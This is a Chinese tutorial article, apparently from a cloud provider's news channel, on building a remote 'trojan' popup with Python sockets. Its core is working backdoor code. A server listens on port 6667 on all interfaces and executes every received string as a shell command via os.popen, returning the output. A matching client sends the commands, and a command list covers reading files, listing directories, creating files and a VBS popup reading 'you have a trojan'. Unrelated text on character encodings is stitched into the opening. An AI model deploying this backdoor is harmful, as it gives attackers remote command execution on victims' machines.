這篇文章主要介紹了怎么使用Python Socket實現遠程木馬彈窗的相關知識,內容詳細易懂,操作簡單快捷,具有一定借鑒價值,相信大家閱讀完這篇怎么使用Python Socket實現遠程木馬彈窗文章都會有所收獲,下面我們一起來看看吧。
socket通信模塊:針對TCP/IP協議簇進行的程序封裝,在Windows/Linux均有這樣底層模塊。
Unicode 有多種存儲方式,常見的有 UTF-8、UTF-16、UTF-32,它們分別用不同的二進制格式來表示 Unicode 字符
如果全部英文或英文與其他文字混合,但英文占絕大部分,用UTF-8就比UTF-16節省了很多空間.而如果全部是中文這樣類似的字符或者混合字符中中文占絕大多數.UTF-16就占優勢了,可以節省很多空間
編碼:
英文多:建議用UTF-8編碼(utf-8是使用最多的編碼方式,是一種變長字符編碼)
中文多:建議用UTF-16編碼
中文:window中文采用的是GBK格式編碼
netstat -ant :只顯示傳輸層的數據 TCP,UDP連接,可以用來檢查socket服務是否起了
import socket, os def attack(): try: s = socket.socket() s.bind(('0.0.0.0', 6667)) # 使用缺省地址,所有設備均可訪問該服務器的6667端口 s.listen() # 對6667端口進行監聽 chanel, client = s.accept() # 進入阻塞狀態,accept() 返回元組,接受來自客戶端的數據,chanel:新的socket對象用于標識出服務器和哪個客戶端連接進行通信, client: 客戶端的IP和端口 while True: receive = chanel.recv(1024).decode() reply = os.popen(receive).read() chanel.send(f"命令{receive}的運行結果:\n{reply}".encode()) except: s.close() attack() if __name__ == '__main__': attack()
import socket s = socket.socket() s.connect(('192.168.137.1', 6667)) #192.168.137.1是socket服務器的地址 while True: sendstr = input("請輸入消息:") s.send(sendstr.encode()) receive = s.recv(1024).decode() print(f"服務器回復:{receive}") # s.close()
提示:需要導入 os 模塊—— import os
os.system('ipconfig')
os.popen('ipconfig').read()
eval() # 將字符串按照Python代碼來執行
window
type 文件絕對路徑
linux
cat 文件路徑
window
dir #查看當前文件路徑目錄
dir 文件路徑 #查看指定文件路徑目錄
linux
ls #查看當前文件路徑目錄
ll #查看當前文件路徑目錄詳細信息
ls 文件路徑 #查看指定文件路徑目錄
ll 文件路徑 #查看指定文件路徑目錄詳細信息
windows
echo test >> demo.txt #創建一個demo.txt文件,文件內容為 test
linux
mkdir 路徑 #創建目錄
echo test >> demo.txt #創建一個demo.txt文件,文件內容為 test
調用計算器
calc.exe
調用其他引用程序
直接輸入應用程序絕對路徑
echo msgbox("你中木馬了??!") > E:\hi.vbs
E:\hi.vbs
關于“怎么使用Python Socket實現遠程木馬彈窗”這篇文章的內容就介紹到這里,感謝各位的閱讀!相信大家對“怎么使用Python Socket實現遠程木馬彈窗”知識都有一定的了解,大家如果還想學習更多知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。